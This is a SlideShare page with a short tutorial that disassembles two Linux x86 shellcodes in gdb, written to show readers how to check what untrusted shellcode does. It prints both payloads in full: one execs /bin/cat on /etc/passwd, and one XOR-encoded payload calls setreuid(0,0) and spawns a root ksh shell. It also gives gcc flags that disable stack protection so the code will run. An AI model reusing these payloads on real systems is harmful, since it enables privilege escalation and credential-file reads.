SlideShare a Scribd company logo
1 of 5
Download to read offline
Linux x86 Reverse Engineering
Basic guide of Shellcode Disassembling

Harsh N. Daftary
Sr. Security Researcher at CSPF
Security Consultant at Trunkoz Technologies
info@securityLabs.in

Abstract:-Most of the Windows as well as Linux based programs contains bugs
or security holes and/or errors. These bugs or error in program can
be exploited in order to crash the program or make system do
unwanted stuff
Exploit usually attacks the program on Memory Corruption,
Segmentation Dump, format string, Buffer overflow or something
else.
In computer security, a shellcode is a small piece of code used as
the payload in the exploitation of a software vulnerability. It is called
"shellcode" because it typically starts a command shell from which
the attacker can control the compromised machine.
It is just a basic guide, not for l33t reverse engineers :)

Introduction:Shellcode are not responsible for exploiting but to create a shell
or execute something on victim system after exploiting the bug.
Shellcode can execute almost all the functions that a
independent program could. Execution of this code takes place
after exploiting vulnerability.(usually)
Importance :
By just looking at shellcode we cannot say what it does, As
hackers often uses various shellcodes along with their
respective exploits
We just believe what description of shellcode says and are
ready to run it but, How can we trust it. It can do many other
functions apart from what its description say and it can end up
in compromising our own system, or create backdoor for
shellcode author
So the reverse Engineering Helps us to to get idea of working
of the code.

Basic idea about encryption and x86 structure is required.
General Registers :
32 bits : EAX EBX ECX EDX
16 bits : AX BX CX DX
8 bits : AH AL BH BL CH CL DH
EAX,AX,AH,AL :
Called the Accumulator register.
It is used for I/O port access, arithmetic, interrupt calls.
Segment Registers :
CS DS ES FS GS SS
Segment registers hold the segment address of various items
Index and Pointers:
ESI EDI EBP EIP ESP
idexes and pointer and the offset part of and address. They
have various uses but each register has a specific function.
Test System Specification :
Linux Ubuntu 10.04
Intel i3
System Architecture: x86- 32 bit
NASM assembled shellcode
In this paper I would discuss Reverse Engineering of Two
programs.
1. Simple program that reades /etc/passwd file
2. XOR encrypted shellcode that launches new shell ksh with
setreuid (0,0)
so we create breakpoint at this pointer and run so at point
we hit our breakpoint that time we disassemble the
program
1. Simple program that reads
/etc/passwd file
Shellcode: ( Download Link given in the end )
"x31xc0x99x52x68x2fx63x61x74x68x2fx62x69x6e
x89xe3x52x68x73x73x77x64x68x2fx2fx70x61x68x
2fx65x74x63x89xe1xb0x0bx52x51x53x89xe1xcdx8
0"
Now we create a simple program that will execute this code
and Compile it using
gcc –fno-stack-protector -z execstack code.c –o shellcode
It will compile our code and program should work without any
hindrance.

Debugger Output:
0x0804a040 <+0>:
xor eax,eax
--- > It will xor eax with eax, it is used to make eax register 0
0x0804a042 <+2>:
0x0804a043 <+3>:

cdq
push edx

0x0804a044 <+4>:
push 0x7461632f
0x0804a049 <+9>:
push 0x7461632f
0x0804a04e <+14>:
mov ebx,esp
--- > Copies the data stored into esp into ebx

= tac/

0x0804a050 <+16>:
push edx
0x0804a051 <+17>:
push 0x64777373
0x0804a056 <+22>:
push 0x61702f2f
0x0804a05b <+27>:
push 0x6374652f
0x0804a060 <+32>:
mov ecx,esp
0x0804a062 <+34>:
mov al,0xb
--- > loads AL register with (0xb)hex
0x0804a064 <+36>:
push edx
0x0804a065 <+37>:
push ecx
0x0804a066 <+38>:
push ebx
0x0804a067 <+39>:
mov ecx,esp
--- > copy data stored in esp into ecx register

Lets load our Program into Debugger
Now we set the disassembling structure to intel.

0x0804a069 <+41>:
int 0x80
--- > Makes a syscall by interrupt 80
0x0804a06b <+43>:

add BYTE PTR [eax],al

So now we have to stop just before execution so we create
breakpoint at a place where program makes a syscall i.e. at
address: 0x0804a069
Interrupt 80 makes a syscall with syscall number stored in eax
register,
as we can see by code:
print /x $eax
-->> $eax = 11
We need to find function that will start at syscall number 11
so under x86 structure we open :
/usr/src/your linux header/arch/x86/include/asm/unistd_32.h

Looking at our source code file we can find that the name of
pointer in which we stored our shellcode is "code"
2. XOR enecrypted shellcode thats launches new shell ksh
with setreuid (0,0)
Shellcode :
"xebx0dx5ex31xc9xb1x21x80x36x7cx46xe2xfaxeb
x05xe8xeexffxffxffx16x3ax24x4dxa7x4dxb5xb1xfc
x4dxaex16x77x24x2ex14x53x17x0fx14x14x53x1ex
15x12xf5x9fx2ex2fxf5x9dxb1xfc"

This file contains list of functions against their syscall numbers
So at 11th number we understand that program is calling
"execve"

Now we create a simple prorgam that will execute this code
and Compile it using
gcc –fno-stackp-protector -z execstack code.c –o shellcode
Importance of this code it to compile our code without any
hindrance.

Manual of execve :

Now lets examine values stored in other 32 bit registers

Lets load our Program into Debugger
Looking at our source code file we can find that the name of
pointer in which we stored our shellcode is "code"
creating breakpoint and analyzing

ebx i.e. Second argument contains a hex number which
converted into string as /bin/cat
cat is Linux bash command used to read a file
3rd argument i.e. ecx register stores a location of file which
"/bin/cat" will read
so file is 0xbffff3d0:
"/etc//passwd"
Program will read /etc/passwd file and then will exit.

0x0804a047 <+7>:
0x0804a04a <+10>:
0x0804a04b <+11>:
0x0804a04d <+13>:

xorb
inc
loop
jmp

$0x7c,(%esi)
%esi
0x804a047 <code+7>
0x804a054 <code+20>
Here this lines of code will xor decrypt all the commands till
end with 0x7c and then will jump to 0x804a054
So now we create break point just after XOR decryption
finishes and before it jumps to another memory location for
further execution

Syscall Number is 70
And Arguments are 0,0
/usr/src/your linux header/arch/x86/include/asm/unistd_32.h

As we can compare disassembly output to the previous one,
we can understand all the instructions after 0x0804a04d are
now decrypted So basically XOR decryption is finished, Now
we look at EIP +27 we see that Interrupt 80 is being called for
syscall so we new create our new breakpoint there

Just as Before EAX register contains Syscall Number
EBX and ECX register contains Argument
Here again we Have Syscall Number 11 that is execve
function as we saw that last time.
And EBX register contains hex data which we convert into
string so we get /bin/ksh

So Here 1st argument sets uid and 2nd argument sets gid
Which in our case both are 0
Means the program here is trying to get the root access
over system.
Now lets create breakpoint where program calls interrupt
80 to make a syscall

So it means This shellcode is going to first decode it self,
then will try open another shell (KSH) located at /bin/ksh
with root access
If you find anything missing or have any suggestions feel
free to contact me :)
~Regards,
Harsh
info@securitylabs.in
PS :
1. Data associated with PUSH can be directly analyzed by
converting hex into string, but that data/string will be Rightto-Left.
2. Location of unistd_32.h may be different. Using locate
function may be helpful in finding it.
This is just basic guide, Next paper will be in more detail.

Reference :
1. Vivek ramchandran.
2. J prassanna and Hiren Shah for providing
research platform.
Shellcodes :
1. http://www.shellstorm.org/shellcode/files/shellcode-809.php
2. http://www.shellstorm.org/shellcode/files/shellcode-571.php

More Related Content

What's hot

03 - Refresher on buffer overflow in the old days
03 - Refresher on buffer overflow in the old days03 - Refresher on buffer overflow in the old days
03 - Refresher on buffer overflow in the old daysAlexandre Moneger
 
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練Sheng-Hao Ma
 
Cisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-oneCisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-oneDefconRussia
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程Weber Tsai
 
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Svetlana Gaivoronski
 
TDOH 南區 WorkShop 2016 Reversing on Windows
TDOH 南區 WorkShop 2016 Reversing on WindowsTDOH 南區 WorkShop 2016 Reversing on Windows
TDOH 南區 WorkShop 2016 Reversing on WindowsSheng-Hao Ma
 
Handling inline assembly in Clang and LLVM
Handling inline assembly in Clang and LLVMHandling inline assembly in Clang and LLVM
Handling inline assembly in Clang and LLVMMin-Yih Hsu
 
NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27Sheng-Hao Ma
 
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg HuntingSystem Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg Huntingsanghwan ahn
 
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]RootedCON
 
Exploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterExploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterAjin Abraham
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報耀德 蔡
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughterQuinn Wilton
 
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPSystem Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPsanghwan ahn
 

What's hot (20)

IT6712 lab manual
IT6712 lab manualIT6712 lab manual
IT6712 lab manual
 
03 - Refresher on buffer overflow in the old days
03 - Refresher on buffer overflow in the old days03 - Refresher on buffer overflow in the old days
03 - Refresher on buffer overflow in the old days
 
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
 
Cisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-oneCisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-one
 
Codes
CodesCodes
Codes
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
 
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86
 
TDOH 南區 WorkShop 2016 Reversing on Windows
TDOH 南區 WorkShop 2016 Reversing on WindowsTDOH 南區 WorkShop 2016 Reversing on Windows
TDOH 南區 WorkShop 2016 Reversing on Windows
 
Handling inline assembly in Clang and LLVM
Handling inline assembly in Clang and LLVMHandling inline assembly in Clang and LLVM
Handling inline assembly in Clang and LLVM
 
Interpreter, Compiler, JIT from scratch
Interpreter, Compiler, JIT from scratchInterpreter, Compiler, JIT from scratch
Interpreter, Compiler, JIT from scratch
 
NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27
 
iCloud keychain
iCloud keychainiCloud keychain
iCloud keychain
 
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg HuntingSystem Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
 
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
 
Exploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterExploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 Egghunter
 
Buffer Overflow Demo by Saurabh Sharma
Buffer Overflow Demo by Saurabh SharmaBuffer Overflow Demo by Saurabh Sharma
Buffer Overflow Demo by Saurabh Sharma
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
 
Sysprog17
Sysprog17Sysprog17
Sysprog17
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughter
 
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPSystem Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
 

Viewers also liked

Efficient Bytecode Analysis: Linespeed Shellcode Detection
Efficient Bytecode Analysis: Linespeed Shellcode DetectionEfficient Bytecode Analysis: Linespeed Shellcode Detection
Efficient Bytecode Analysis: Linespeed Shellcode DetectionGeorg Wicherski
 
Anatomy of A Shell Code, Reverse engineering
Anatomy of A Shell Code, Reverse engineeringAnatomy of A Shell Code, Reverse engineering
Anatomy of A Shell Code, Reverse engineeringAbhineet Ayan
 
Shellcode and heapspray detection in phoneyc
Shellcode and heapspray detection in phoneycShellcode and heapspray detection in phoneyc
Shellcode and heapspray detection in phoneycZ Chen
 
Java Shellcode Execution
Java Shellcode ExecutionJava Shellcode Execution
Java Shellcode ExecutionRyan Wincey
 
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentExploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentAjin Abraham
 
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEFMichele Orru
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writingsbha0909
 
Anton Dorfman. Shellcode Mastering.
Anton Dorfman. Shellcode Mastering.Anton Dorfman. Shellcode Mastering.
Anton Dorfman. Shellcode Mastering.Positive Hack Days
 
Hacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades shortHacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades shortVincent Ohprecio
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013midnite_runr
 
Shellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and ConceptShellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and ConceptJulia Yu-Chin Cheng
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injectionDhaval Kapil
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Pluginsamiable_indian
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Michele Orru
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploitshughpearse
 
Fuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 JuneFuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 Junenullowaspmumbai
 
Advanced exploit development
Advanced exploit developmentAdvanced exploit development
Advanced exploit developmentDan H
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil FrameworkVeilFramework
 
CNIT 127 Ch 3: Shellcode
CNIT 127 Ch 3: ShellcodeCNIT 127 Ch 3: Shellcode
CNIT 127 Ch 3: ShellcodeSam Bowne
 

Viewers also liked (20)

Efficient Bytecode Analysis: Linespeed Shellcode Detection
Efficient Bytecode Analysis: Linespeed Shellcode DetectionEfficient Bytecode Analysis: Linespeed Shellcode Detection
Efficient Bytecode Analysis: Linespeed Shellcode Detection
 
Anatomy of A Shell Code, Reverse engineering
Anatomy of A Shell Code, Reverse engineeringAnatomy of A Shell Code, Reverse engineering
Anatomy of A Shell Code, Reverse engineering
 
Shellcode and heapspray detection in phoneyc
Shellcode and heapspray detection in phoneycShellcode and heapspray detection in phoneyc
Shellcode and heapspray detection in phoneyc
 
Java Shellcode Execution
Java Shellcode ExecutionJava Shellcode Execution
Java Shellcode Execution
 
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentExploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
 
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writing
 
Anton Dorfman. Shellcode Mastering.
Anton Dorfman. Shellcode Mastering.Anton Dorfman. Shellcode Mastering.
Anton Dorfman. Shellcode Mastering.
 
Hacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades shortHacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades short
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
 
Shellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and ConceptShellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and Concept
 
Software Exploits
Software ExploitsSoftware Exploits
Software Exploits
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injection
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
 
Fuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 JuneFuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 June
 
Advanced exploit development
Advanced exploit developmentAdvanced exploit development
Advanced exploit development
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil Framework
 
CNIT 127 Ch 3: Shellcode
CNIT 127 Ch 3: ShellcodeCNIT 127 Ch 3: Shellcode
CNIT 127 Ch 3: Shellcode
 

Similar to Linux Shellcode disassembling

Shellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringShellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringSumutiu Marius
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linuxAjin Abraham
 
CyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation ProcessCyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation ProcessThomas Gregory
 
NASM Introduction.pptx
NASM Introduction.pptxNASM Introduction.pptx
NASM Introduction.pptxAnshKarwa
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackTomer Zait
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackironSource
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit developmentPayampardaz
 
Heap overflows for humans – 101
Heap overflows for humans – 101Heap overflows for humans – 101
Heap overflows for humans – 101Craft Symbol
 
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in LinuxYongraeJo
 
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsExploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsAjin Abraham
 
Troubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversTroubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversSatpal Parmar
 
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Jagadisha Maiya
 
SFO15-500: VIXL
SFO15-500: VIXLSFO15-500: VIXL
SFO15-500: VIXLLinaro
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
 
N_Asm Assembly system calls (sol)
N_Asm Assembly system calls (sol)N_Asm Assembly system calls (sol)
N_Asm Assembly system calls (sol)Selomon birhane
 
Oleksyk applied-anti-forensics
Oleksyk   applied-anti-forensicsOleksyk   applied-anti-forensics
Oleksyk applied-anti-forensicsDefconRussia
 

Similar to Linux Shellcode disassembling (20)

Shellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse EngineeringShellcode Disassembling - Reverse Engineering
Shellcode Disassembling - Reverse Engineering
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
 
CyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation ProcessCyberLink LabelPrint 2.5 Exploitation Process
CyberLink LabelPrint 2.5 Exploitation Process
 
Tranning-2
Tranning-2Tranning-2
Tranning-2
 
NASM Introduction.pptx
NASM Introduction.pptxNASM Introduction.pptx
NASM Introduction.pptx
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The Stack
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the Stack
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit development
 
X86 assembly nasm syntax
X86 assembly nasm syntaxX86 assembly nasm syntax
X86 assembly nasm syntax
 
LINUX Device Drivers
LINUX Device DriversLINUX Device Drivers
LINUX Device Drivers
 
Heap overflows for humans – 101
Heap overflows for humans – 101Heap overflows for humans – 101
Heap overflows for humans – 101
 
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in Linux
 
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsExploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
 
Troubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversTroubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device Drivers
 
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
 
SFO15-500: VIXL
SFO15-500: VIXLSFO15-500: VIXL
SFO15-500: VIXL
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
N_Asm Assembly system calls (sol)
N_Asm Assembly system calls (sol)N_Asm Assembly system calls (sol)
N_Asm Assembly system calls (sol)
 
Computer Security
Computer SecurityComputer Security
Computer Security
 
Oleksyk applied-anti-forensics
Oleksyk   applied-anti-forensicsOleksyk   applied-anti-forensics
Oleksyk applied-anti-forensics
 

Recently uploaded

Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 

Recently uploaded (20)

Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
